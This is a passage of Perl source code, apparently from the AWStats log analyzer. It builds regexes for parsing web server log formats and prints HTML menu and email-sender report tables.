8947# WebStar:                     05/21/00	00:17:31	OK  	200	212.242.30.6	Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)	http://www.cover.dk/	"www.cover.dk"	:Documentation:graphics:starninelogo.white.gif	1133
8948# Squid extended:              12.229.91.170 - - [27/Jun/2002:03:30:50 -0700] "GET http://www.callistocms.com/images/printable.gif HTTP/1.1" 304 354 "-" "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0" TCP_REFRESH_HIT:DIRECT
8949# Log formats:
8950# Apache common_with_mod_gzip_info1: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_compression_ratio}npct.
8951# Apache common_with_mod_gzip_info2: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct.
8952# Apache deflate: %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" (%{ratio}n)
8953	if ($Debug) {
8954		debug(
8955"Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')"
8956		);
8957	}
8958	if ( $LogFormat =~ /^[1-6]$/ ) {    # Pre-defined log format
8959		if ( $LogFormat eq '1' || $LogFormat eq '6' )
8960		{ # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"".
8961			 # %u (user) is "([^\\/\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "".
8962
8963# $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
8964			$PerlParsingFormat =
8965"([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
8966			$pos_host    = 0;
8967			$pos_logname = 1;
8968			$pos_date    = 2;
8969			$pos_method  = 3;
8970			$pos_url     = 4;
8971			$pos_code    = 5;
8972			$pos_size    = 6;
8973			$pos_referer = 7;
8974			$pos_agent   = 8;
8975			@fieldlib    = (
8976				'host', 'logname', 'date', 'method', 'url', 'code',
8977				'size', 'referer', 'ua'
8978			);
8979		}
8980		elsif ( $LogFormat eq '2' )
8981		{ # Same than "date time c-ip cs-username cs-method cs-uri-stem sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)"
8982			$PerlParsingFormat =
8983"(\\S+ \\S+) (\\S+) (\\S+) (\\S+) (\\S+) ([\\d|-]+) ([\\d|-]+) \\S+ (\\S+) (\\S+)";
8984			$pos_date    = 0;
8985			$pos_host    = 1;
8986			$pos_logname = 2;
8987			$pos_method  = 3;
8988			$pos_url     = 4;
8989			$pos_code    = 5;
8990			$pos_size    = 6;
8991			$pos_agent   = 7;
8992			$pos_referer = 8;
8993			@fieldlib    = (
8994				'date', 'host', 'logname', 'method', 'url', 'code',
8995				'size', 'ua',   'referer'
8996			);
8997		}
8998		elsif ( $LogFormat eq '3' ) {
8999			$PerlParsingFormat =
9000"([^\\t]*\\t[^\\t]*)\\t([^\\t]*)\\t([\\d|-]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t[^\\t]*\\t([^\\t]*)\\t([\\d]*)";
9001			$pos_date    = 0;
9002			$pos_method  = 1;
9003			$pos_code    = 2;
9004			$pos_host    = 3;
9005			$pos_agent   = 4;
9006			$pos_referer = 5;
9007			$pos_url     = 6;
9008			$pos_size    = 7;
9009			@fieldlib    = (
9010				'date', 'method',  'code', 'host',
9011				'ua',   'referer', 'url',  'size'
9012			);
9013		}
9014		elsif ( $LogFormat eq '4' ) {    # Same than "%h %l %u %t \"%r\" %>s %b"
9015			# %u (user) is "(.+)" instead of "[^ ]+" because can contain space (Lotus Notes).
9016			# Sample: 10.100.10.45 - BMAA\will.smith [01/Jul/2013:07:17:28 +0200] "GET /Download/__Omnia__Aus- und Weiterbildung__Konsular- und Verwaltungskonferenz, Programm.doc HTTP/1.1" 200 9076810
9017#			$PerlParsingFormat =
9018#"([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+)";
9019			$PerlParsingFormat =
9020"([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+)";
9021			$pos_host    = 0;
9022			$pos_logname = 1;
9023			$pos_date    = 2;
9024			$pos_method  = 3;
9025			$pos_url     = 4;
9026			$pos_code    = 5;
9027			$pos_size    = 6;
9028			@fieldlib    =
9029			  ( 'host', 'logname', 'date', 'method', 'url', 'code', 'size' );
9030		}
9031	}
9032	else {    # Personalized log format
9033		my $LogFormatString = $LogFormat;
9034
9035		# Replacement for Notes format string that are not Apache
9036		$LogFormatString =~ s/%vh/%virtualname/g;
9037
9038		# Replacement for Apache format string
9039		$LogFormatString =~ s/%v(\s)/%virtualname$1/g;
9040		$LogFormatString =~ s/%v$/%virtualname/g;
9041		$LogFormatString =~ s/%h(\s)/%host$1/g;
9042		$LogFormatString =~ s/%h$/%host/g;
9043		$LogFormatString =~ s/%l(\s)/%other$1/g;
9044		$LogFormatString =~ s/%l$/%other/g;
9045		$LogFormatString =~ s/\"%u\"/%lognamequot/g;
9046		$LogFormatString =~ s/%u(\s)/%logname$1/g;
9047		$LogFormatString =~ s/%u$/%logname/g;
9048		$LogFormatString =~ s/%t(\s)/%time1$1/g;
9049		$LogFormatString =~ s/%t$/%time1/g;
9050		$LogFormatString =~ s/\"%r\"/%methodurl/g;
9051		$LogFormatString =~ s/%>s/%code/g;
9052		$LogFormatString =~ s/%b(\s)/%bytesd$1/g;
9053		$LogFormatString =~ s/%b$/%bytesd/g;
9054		$LogFormatString =~ s/\"%\{Referer}i\"/%refererquot/g;
9055		$LogFormatString =~ s/\"%\{User-Agent}i\"/%uaquot/g;
9056		$LogFormatString =~ s/%\{mod_gzip_input_size}n/%gzipin/g;
9057		$LogFormatString =~ s/%\{mod_gzip_output_size}n/%gzipout/g;
9058		$LogFormatString =~ s/%\{mod_gzip_compression_ratio}n/%gzipratio/g;
9059		$LogFormatString =~ s/\(%\{ratio}n\)/%deflateratio/g;
9060
9061		# Replacement for a IIS and ISA format string
9062		$LogFormatString =~ s/cs-uri-query/%query/g;    # Must be before cs-uri
9063		$LogFormatString =~ s/date\stime/%time2/g;
9064		$LogFormatString =~ s/c-ip/%host/g;
9065		$LogFormatString =~ s/cs-username/%logname/g;
9066		$LogFormatString =~ s/cs-method/%method/g;  # GET, POST, SMTP, RETR STOR
9067		$LogFormatString =~ s/cs-uri-stem/%url/g;
9068		$LogFormatString =~ s/cs-uri/%url/g;
9069		$LogFormatString =~ s/sc-status/%code/g;
9070		$LogFormatString =~ s/sc-bytes/%bytesd/g;
9071		$LogFormatString =~ s/cs-version/%other/g;  # Protocol
9072		$LogFormatString =~ s/cs\(User-Agent\)/%ua/g;
9073		$LogFormatString =~ s/c-agent/%ua/g;
9074		$LogFormatString =~ s/cs\(Referer\)/%referer/g;
9075		$LogFormatString =~ s/cs-referred/%referer/g;
9076		$LogFormatString =~ s/sc-authenticated/%other/g;
9077		$LogFormatString =~ s/s-svcname/%other/g;
9078		$LogFormatString =~ s/s-computername/%other/g;
9079		$LogFormatString =~ s/r-host/%virtualname/g;
9080		$LogFormatString =~ s/cs-host/%virtualname/g;
9081		$LogFormatString =~ s/r-ip/%other/g;
9082		$LogFormatString =~ s/r-port/%other/g;
9083		$LogFormatString =~ s/time-taken/%other/g;
9084		$LogFormatString =~ s/cs-bytes/%other/g;
9085		$LogFormatString =~ s/cs-protocol/%other/g;
9086		$LogFormatString =~ s/cs-transport/%other/g;
9087		$LogFormatString =~
9088		  s/s-operation/%method/g;    # GET, POST, SMTP, RETR STOR
9089		$LogFormatString =~ s/cs-mime-type/%other/g;
9090		$LogFormatString =~ s/s-object-source/%other/g;
9091		$LogFormatString =~ s/s-cache-info/%other/g;
9092		$LogFormatString =~ s/cluster-node/%cluster/g;
9093		$LogFormatString =~ s/s-sitename/%other/g;
9094		$LogFormatString =~ s/s-ip/%other/g;
9095		$LogFormatString =~ s/s-port/%other/g;
9096		$LogFormatString =~ s/cs\(Cookie\)/%other/g;
9097		$LogFormatString =~ s/sc-substatus/%other/g;
9098		$LogFormatString =~ s/sc-win32-status/%other/g;
9099
9100
9101		# Added for MMS
9102		$LogFormatString =~
9103		  s/protocol/%protocolmms/g;    # cs-method might not be available
9104		$LogFormatString =~
9105		  s/c-status/%codemms/g;    # c-status used when sc-status not available
9106		if ($Debug) { debug(" LogFormatString=$LogFormatString"); }
9107
9108# $LogFormatString has an AWStats format, so we can generate PerlParsingFormat variable
9109		my $i                       = 0;
9110		my $LogSeparatorWithoutStar = $LogSeparator;
9111		$LogSeparatorWithoutStar =~ s/[\*\+]//g;
9112		foreach my $f ( split( /\s+/, $LogFormatString ) ) {
9113
9114			# Add separator for next field
9115			if ($PerlParsingFormat) { $PerlParsingFormat .= "$LogSeparator"; }
9116
9117			# If field is prefixed with custom string, just push it to regex literally
9118			if ( $f =~ /^([^%]+)%/ ) {
9119				$PerlParsingFormat .= "$1"
9120                        }
9121
9122			# Special for logname
9123			if ( $f =~ /%lognamequot$/ ) {
9124				$pos_logname = $i;
9125				$i++;
9126				push @fieldlib, 'logname';
9127				$PerlParsingFormat .=
9128				  "\\\"?([^\\\"]*)\\\"?"
9129				  ; # logname can be "value", "" and - in same log (Lotus notes)
9130			}
9131			elsif ( $f =~ /%logname$/ ) {
9132				$pos_logname = $i;
9133				$i++;
9134				push @fieldlib, 'logname';
9135
9136# %u (user) is "([^\\/\\[]+)" instead of "[^$LogSeparatorWithoutStar]+" because can contain space (Lotus Notes).
9137				$PerlParsingFormat .= "([^\\/\\[]+)";
9138			}
9139
9140			# Date format
9141			elsif ( $f =~ /%time1$/ || $f =~ /%time1b$/ )
9142			{ # [dd/mmm/yyyy:hh:mm:ss +0000] or [dd/mmm/yyyy:hh:mm:ss],  time1b kept for backward compatibility
9143				$pos_date = $i;
9144				$i++;
9145				push @fieldlib, 'date';
9146				$pos_tz = $i;
9147				$i++;
9148				push @fieldlib, 'tz';
9149				$PerlParsingFormat .=
9150"\\[([^$LogSeparatorWithoutStar]+)( [^$LogSeparatorWithoutStar]+)?\\]";
9151			}
9152			elsif ( $f =~ /%time2$/ ) {    # yyyy-mm-dd hh:mm:ss
9153				$pos_date = $i;
9154				$i++;
9155				push @fieldlib, 'date';
9156				$PerlParsingFormat .=
9157"([^$LogSeparatorWithoutStar]+\\s[^$LogSeparatorWithoutStar]+)";                        # Need \s for Exchange log files
9158			}
9159			elsif ( $f =~ /%time3$/ )
9160			{ # mon d hh:mm:ss  or  mon  d hh:mm:ss  or  mon dd hh:mm:ss yyyy  or  day mon dd hh:mm:ss  or  day mon dd hh:mm:ss yyyy
9161				$pos_date = $i;
9162				$i++;
9163				push @fieldlib, 'date';
9164				$PerlParsingFormat .=
9165"(?:\\w\\w\\w )?(\\w\\w\\w \\s?\\d+ \\d\\d:\\d\\d:\\d\\d(?: \\d\\d\\d\\d)?)";
9166			}
9167			elsif ( $f =~ /%time4$/ ) {    # ddddddddddddd
9168				$pos_date = $i;
9169				$i++;
9170				push @fieldlib, 'date';
9171				$PerlParsingFormat .= "(\\d+)";
9172			}
9173			elsif ( $f =~ /%time5$/ ) {
9174				# Supports the following formats:
9175				# - yyyy-mm-ddThh:mm:ss           (Incomplete ISO 8601)
9176				# - yyyy-mm-ddThh:mm:ssZ          (ISO 8601, zero meridian)
9177				# - yyyy-mm-ddThh:mm:ss+00:00     (ISO 8601)
9178				# - yyyy-mm-ddThh:mm:ss+0000      (Apache's best approximation to ISO 8601 using "%{%Y-%m-%dT%H:%M:%S%z}t" in LogFormat)
9179				# - yyyy-mm-ddThh:mm:ss.000000Z   (Amazon AWS log files)
9180				$pos_date = $i;
9181				$i++;
9182				push @fieldlib, 'date';
9183				$pos_tz = $i;
9184				$i++;
9185				push @fieldlib, 'tz';
9186				$PerlParsingFormat .=
9187"([^$LogSeparatorWithoutStar]+T[^$LogSeparatorWithoutStar]+)(Z|[-+\.]\\d\\d[:\\.\\dZ]*)?";
9188			}
9189			elsif ( $f =~ /%time6$/ ) {	# dd/mm/yyyy, hh:mm:ss - added additional type to format for IIS date -DWG 12/8/2008
9190				$pos_date = $i;
9191				$i++;
9192				push @fieldlib, 'date';
9193				$PerlParsingFormat .= "([^,]+,[^,]+)";
9194			}
9195
9196			# Special for methodurl, methodurlprot and methodurlnoprot
9197			elsif ( $f =~ /%methodurl$/ ) {
9198				$pos_method = $i;
9199				$i++;
9200				push @fieldlib, 'method';
9201				$pos_url = $i;
9202				$i++;
9203				push @fieldlib, 'url';
9204				$PerlParsingFormat .=
9205
9206#"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+) [^\\\"]+\\\"";
9207"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)(?: [^\\\"]+|)\\\"";
9208			}
9209			elsif ( $f =~ /%methodurlprot$/ ) {
9210				$pos_method = $i;
9211				$i++;
9212				push @fieldlib, 'method';
9213				$pos_url = $i;
9214				$i++;
9215				push @fieldlib, 'url';
9216				$PerlParsingFormat .=
9217"\\\"([^$LogSeparatorWithoutStar]+) ([^\\\"]+) ([^\\\"]+)\\\"";
9218			}
9219			elsif ( $f =~ /%methodurlnoprot$/ ) {
9220				$pos_method = $i;
9221				$i++;
9222				push @fieldlib, 'method';
9223				$pos_url = $i;
9224				$i++;
9225				push @fieldlib, 'url';
9226				$PerlParsingFormat .=
9227"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)\\\"";
9228			}
9229
9230			# Common command tags
9231			elsif ( $f =~ /%virtualnamequot$/ ) {
9232				$pos_vh = $i;
9233				$i++;
9234				push @fieldlib, 'vhost';
9235				$PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+)\\\"";
9236			}
9237			elsif ( $f =~ /%virtualname$/ ) {
9238				$pos_vh = $i;
9239				$i++;
9240				push @fieldlib, 'vhost';
9241				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9242			}
9243			elsif ( $f =~ /%host_r$/ ) {
9244				$pos_hostr = $i;
9245				$i++;
9246				push @fieldlib, 'hostr';
9247				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9248			}
9249			elsif ( $f =~ /%host$/ ) {
9250				$pos_host = $i;
9251				$i++;
9252				push @fieldlib, 'host';
9253				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9254			}
9255			elsif ( $f =~ /%host_proxy$/ )
9256			{    # if host_proxy tag used, host tag must not be used
9257				$pos_host = $i;
9258				$i++;
9259				push @fieldlib, 'host';
9260				$PerlParsingFormat .= "(.+?)(?:, .*)*";
9261			}
9262			elsif ( $f =~ /%method$/ ) {
9263				$pos_method = $i;
9264				$i++;
9265				push @fieldlib, 'method';
9266				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9267			}
9268			elsif ( $f =~ /%url$/ ) {
9269				$pos_url = $i;
9270				$i++;
9271				push @fieldlib, 'url';
9272				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9273			}
9274			elsif ( $f =~ /%query$/ ) {
9275				$pos_query = $i;
9276				$i++;
9277				push @fieldlib, 'query';
9278				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9279			}
9280			elsif ( $f =~ /%code$/ ) {
9281				$pos_code = $i;
9282				$i++;
9283				push @fieldlib, 'code';
9284				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9285			}
9286			elsif ( $f =~ /%bytesd$/ ) {
9287				$pos_size = $i;
9288				$i++;
9289				push @fieldlib, 'size';
9290				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9291			}
9292			elsif ( $f =~ /%refererquot$/ ) {
9293				$pos_referer = $i;
9294				$i++;
9295				push @fieldlib, 'referer';
9296				$PerlParsingFormat .=
9297				  "\\\"([^\\\"]*)\\\"";    # referer might be ""
9298			}
9299			elsif ( $f =~ /%referer$/ ) {
9300				$pos_referer = $i;
9301				$i++;
9302				push @fieldlib, 'referer';
9303				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9304			}
9305			elsif ( $f =~ /%uaquot$/ ) {
9306				$pos_agent = $i;
9307				$i++;
9308				push @fieldlib, 'ua';
9309				$PerlParsingFormat .= "\\\"([^\\\"]*)\\\"";    # ua might be ""
9310			}
9311			elsif ( $f =~ /%uabracket$/ ) {
9312				$pos_agent = $i;
9313				$i++;
9314				push @fieldlib, 'ua';
9315				$PerlParsingFormat .= "\\\[([^\\\]]*)\\\]";    # ua might be []
9316			}
9317			elsif ( $f =~ /%ua$/ ) {
9318				$pos_agent = $i;
9319				$i++;
9320				push @fieldlib, 'ua';
9321				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9322			}
9323			elsif ( $f =~ /%gzipin$/ ) {
9324				$pos_gzipin = $i;
9325				$i++;
9326				push @fieldlib, 'gzipin';
9327				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9328			}
9329			elsif ( $f =~ /%gzipout/ )
9330			{ # Compare $f to /%gzipout/ and not to /%gzipout$/ like other fields
9331				$pos_gzipout = $i;
9332				$i++;
9333				push @fieldlib, 'gzipout';
9334				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9335			}
9336			elsif ( $f =~ /%gzipratio/ )
9337			{ # Compare $f to /%gzipratio/ and not to /%gzipratio$/ like other fields
9338				$pos_compratio = $i;
9339				$i++;
9340				push @fieldlib, 'gzipratio';
9341				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9342			}
9343			elsif ( $f =~ /%deflateratio/ )
9344			{ # Compare $f to /%deflateratio/ and not to /%deflateratio$/ like other fields
9345				$pos_compratio = $i;
9346				$i++;
9347				push @fieldlib, 'deflateratio';
9348				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9349			}
9350			elsif ( $f =~ /%email_r$/ ) {
9351				$pos_emailr = $i;
9352				$i++;
9353				push @fieldlib, 'email_r';
9354				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9355			}
9356			elsif ( $f =~ /%email$/ ) {
9357				$pos_emails = $i;
9358				$i++;
9359				push @fieldlib, 'email';
9360				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9361			}
9362			elsif ( $f =~ /%cluster$/ ) {
9363				$pos_cluster = $i;
9364				$i++;
9365				push @fieldlib, 'clusternb';
9366				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9367			}
9368			elsif ( $f =~ /%timetaken$/ ) {
9369				$pos_timetaken = $i;
9370				$i++;
9371				push @fieldlib, 'timetaken';
9372				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9373			}
9374
9375# Special for protocolmms, used for method if method not already found (for MMS)
9376			elsif ( $f =~ /%protocolmms$/ ) {
9377				if ( $pos_method < 0 ) {
9378					$pos_method = $i;
9379					$i++;
9380					push @fieldlib, 'method';
9381					$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9382				}
9383			}
9384
9385   # Special for codemms, used for code only if code not already found (for MMS)
9386			elsif ( $f =~ /%codemms$/ ) {
9387				if ( $pos_code < 0 ) {
9388					$pos_code = $i;
9389					$i++;
9390					push @fieldlib, 'code';
9391					$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9392				}
9393			}
9394
9395			# Extra tag
9396			elsif ( $f =~ /%extra(\d+)$/ ) {
9397				$pos_extra[$1] = $i;
9398				$i++;
9399				push @fieldlib, "extra$1";
9400				$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9401			}
9402
9403			# Other tag
9404			elsif ( $f =~ /%other$/ ) {
9405				$PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
9406			}
9407			elsif ( $f =~ /%otherquot$/ ) {
9408				$PerlParsingFormat .= "\\\"[^\\\"]*\\\"";
9409			}
9410
9411			# Unknown tag (no parenthesis)
9412			else {
9413				$PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
9414			}
9415		}
9416		if ( !$PerlParsingFormat ) {
9417			error("No recognized format tag in personalized LogFormat string");
9418		}
9419	}
9420	if ( $pos_host < 0 ) {
9421		error(
9422"Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)."
9423		);
9424	}
9425	if ( $pos_date < 0 ) {
9426		error(
9427"Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)."
9428		);
9429	}
9430	if ( $pos_method < 0 ) {
9431		error(
9432"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)."
9433		);
9434	}
9435	if ( $pos_url < 0 ) {
9436		error(
9437"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)."
9438		);
9439	}
9440	if ( $pos_code < 0 ) {
9441		error(
9442"Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)."
9443		);
9444	}
9445#	if ( $pos_size < 0 ) {
9446#		error(
9447#"Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)."
9448#		);
9449#	}
9450	$PerlParsingFormat = qr/^$PerlParsingFormat/;
9451	if ($Debug) { debug(" PerlParsingFormat is $PerlParsingFormat"); }
9452}
9453
9454#------------------------------------------------------------------------------
9455# Function:     Prints a menu category for the frame or static header
9456# Parameters:   -
9457# Input:        $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor,
9458#				$NewLinkParams, $NewLinkTarget
9459# Output:       HTML
9460# Return:       -
9461#------------------------------------------------------------------------------
9462sub HTMLShowMenuCateg {
9463	my ( $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor,
9464		$NewLinkParams, $NewLinkTarget )
9465	  = ( shift, shift, shift, shift, shift, shift, shift, shift );
9466	$categicon = '';    # Comment this to enabme category icons
9467	my ( $menu, $menulink, $menutext ) = ( shift, shift, shift );
9468	my $linetitle = 0;
9469
9470	# Call to plugins' function AddHTMLMenuLink
9471	foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuLink'} } ) {
9472
9473# my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)";
9474# eval("$function");
9475		my $function = "AddHTMLMenuLink_$pluginname";
9476		&$function( $categ, $menu, $menulink, $menutext );
9477	}
9478	foreach my $key (%$menu) {
9479		if ( $menu->{$key} && $menu->{$key} > 0 ) { $linetitle++; last; }
9480	}
9481	if ( !$linetitle ) { return; }
9482
9483# At least one entry in menu for this category, we can show category and entries
9484	my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
9485	print "<tr><td class=\"awsm\" width=\"$WIDTHMENU1\""
9486	  . ( $frame ? "" : " valign=\"top\"" ) . ">"
9487	  . ( $categicon ? "<img src=\"$DirIcons/other/$categicon\" />&nbsp;" : "" )
9488	  . "<b>$categtext:</b></td>\n";
9489	print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
9490	foreach my $key ( sort { $menu->{$a} <=> $menu->{$b} } keys %$menu ) {
9491		if ( $menu->{$key} == 0 )     { next; }
9492		if ( $menulink->{$key} == 1 ) {
9493			print( $frame? "<tr><td class=\"awsm\">" : "" );
9494			print
9495			  "<a href=\"$linkanchor#$key\"$targetpage>$menutext->{$key}</a>";
9496			print( $frame? "</td></tr>\n" : " &nbsp; " );
9497		}
9498		if ( $menulink->{$key} == 2 ) {
9499			print( $frame
9500				? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
9501				: ""
9502			);
9503			print "<a href=\""
9504			  . (
9505				$ENV{'GATEWAY_INTERFACE'}
9506				  || !$StaticLinks
9507				? XMLEncode("$AWScript${NewLinkParams}output=$key")
9508				: "$StaticLinks.$key.$StaticExt"
9509			  )
9510			  . "\"$NewLinkTarget>$menutext->{$key}</a>\n";
9511			print( $frame? "</td></tr>\n" : " &nbsp; " );
9512		}
9513	}
9514	print( $frame? "" : "</td></tr>\n" );
9515}
9516
9517#------------------------------------------------------------------------------
9518# Function:     Prints HTML to display an email senders chart
9519# Parameters:   -
9520# Input:        $NewLinkParams, NewLinkTarget
9521# Output:       HTML
9522# Return:       -
9523#------------------------------------------------------------------------------
9524sub HTMLShowEmailSendersChart {
9525	my $NewLinkParams         = shift;
9526	my $NewLinkTarget         = shift;
9527	my $MaxLengthOfShownEMail = 48;
9528
9529	my $total_p;
9530	my $total_h;
9531	my $total_k;
9532	my $max_p;
9533	my $max_h;
9534	my $max_k;
9535	my $rest_p;
9536	my $rest_h;
9537	my $rest_k;
9538
9539	# Show filter form
9540	#&ShowFormFilter("emailsfilter",$EmailsFilter);
9541	# Show emails list
9542
9543	print "$Center<a name=\"emailsenders\">&nbsp;</a><br />\n";
9544	my $title;
9545	if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
9546		$title = "$Message[131]";
9547	}
9548	else {
9549		$title =
9550"$Message[131] ($Message[77] $MaxNbOf{'EMailsShown'}) &nbsp; - &nbsp; <a href=\""
9551		  . (
9552			$ENV{'GATEWAY_INTERFACE'}
9553			  || !$StaticLinks
9554			? XMLEncode("$AWScript${NewLinkParams}output=allemails")
9555			: "$StaticLinks.allemails.$StaticExt"
9556		  )
9557		  . "\"$NewLinkTarget>$Message[80]</a>";
9558		if ( $ShowEMailSenders =~ /L/i ) {
9559			$title .= " &nbsp; - &nbsp; <a href=\""
9560			  . (
9561				$ENV{'GATEWAY_INTERFACE'}
9562				  || !$StaticLinks
9563				? XMLEncode("$AWScript${NewLinkParams}output=lastemails")
9564				: "$StaticLinks.lastemails.$StaticExt"
9565			  )
9566			  . "\"$NewLinkTarget>$Message[9]</a>";
9567		}
9568	}
9569	&tab_head( "$title", 19, 0, 'emailsenders' );
9570	print
9571"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[131] : "
9572	  . ( scalar keys %_emails_h ) . "</th>";
9573	if ( $ShowEMailSenders =~ /H/i ) {
9574		print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
9575		  . Tooltip(4)
9576		  . ">$Message[57]</th>";
9577	}
9578	if ( $ShowEMailSenders =~ /B/i ) {
9579		print
9580"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
9581		  . Tooltip(5)
9582		  . ">$Message[75]</th>";
9583	}
9584	if ( $ShowEMailSenders =~ /M/i ) {
9585		print
9586"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
9587	}
9588	if ( $ShowEMailSenders =~ /L/i ) {
9589		print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
9590	}
9591	print "</tr>\n";
9592	print
9593"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th>&nbsp;</th><th width=\"30%\">External</th></tr>";
9594	$total_p = $total_h = $total_k = 0;
9595	$max_h = 1;
9596	foreach ( values %_emails_h ) {
9597		if ( $_ > $max_h ) { $max_h = $_; }
9598	}
9599	$max_k = 1;
9600	foreach ( values %_emails_k ) {
9601		if ( $_ > $max_k ) { $max_k = $_; }
9602	}
9603	my $count = 0;
9604	if ( !$HTMLOutput{'allemails'} && !$HTMLOutput{'lastemails'} ) {
9605		&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
9606			\%_emails_h );
9607	}
9608	if ( $HTMLOutput{'allemails'} ) {
9609		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
9610			\%_emails_h );
9611	}
9612	if ( $HTMLOutput{'lastemails'} ) {
9613		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
9614			\%_emails_l );
9615	}
9616	foreach my $key (@keylist) {
9617		my $newkey = $key;
9618		if ( length($key) > $MaxLengthOfShownEMail ) {
9619			$newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
9620		}
9621		my $bredde_h = 0;
9622		my $bredde_k = 0;
9623		if ( $max_h > 0 ) {
9624			$bredde_h = int( $BarWidth * $_emails_h{$key} / $max_h ) + 1;
9625		}
9626		if ( $max_k > 0 ) {
9627			$bredde_k = int( $BarWidth * $_emails_k{$key} / $max_k ) + 1;
9628		}
9629		print "<tr>";
9630		my $direction = IsLocalEMail($key);
9631
9632		if ( $direction > 0 ) {
9633			print "<td class=\"aws\">$newkey</td><td>-&gt;</td><td>&nbsp;</td>";
9634		}
9635		if ( $direction == 0 ) {
9636			print
9637"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
9638		}
9639		if ( $direction < 0 ) {
9640			print "<td class=\"aws\">&nbsp;</td><td>&lt;-</td><td>$newkey</td>";
9641		}
9642		if ( $ShowEMailSenders =~ /H/i ) { print "<td>$_emails_h{$key}</td>"; }
9643		if ( $ShowEMailSenders =~ /B/i ) {
9644			print "<td nowrap=\"nowrap\">"
9645			  . Format_Bytes( $_emails_k{$key} ) . "</td>";
9646		}
9647		if ( $ShowEMailSenders =~ /M/i ) {
9648			print "<td nowrap=\"nowrap\">"
